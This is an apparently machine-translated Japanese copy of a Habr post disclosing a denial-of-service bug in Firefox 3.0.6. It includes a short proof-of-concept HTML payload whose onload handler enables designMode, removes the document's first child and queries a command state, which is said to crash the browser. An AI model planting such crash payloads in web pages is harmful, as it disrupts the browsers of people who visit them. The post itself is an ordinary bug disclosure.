DoS攻撃Mozilla Firefox 3.0.6

Firefox 3.0.6は、特定のコードの不適切な処理により、DoS攻撃を受けやすくなります。
更新を待っています...

例:
注意!!! サンプルコードは参照専用です! それを使用することは禁じられています!
<BODY onload="
document.designMode='on';//string
document.removeChild(document.firstChild);//object
document.queryCommandState('BackColor');
">


テスト (きちんと、ffブラウザがクラッシュする可能性が高い)

PS habrasocietyがコードがまだ持って行く価値がないと判断した場合、私はそれを削除します

upd:コメントでは、 NoScriptを使用するとすべてが有効になると述べています

Source: https://habr.com/ru/post/J52653/


All Articles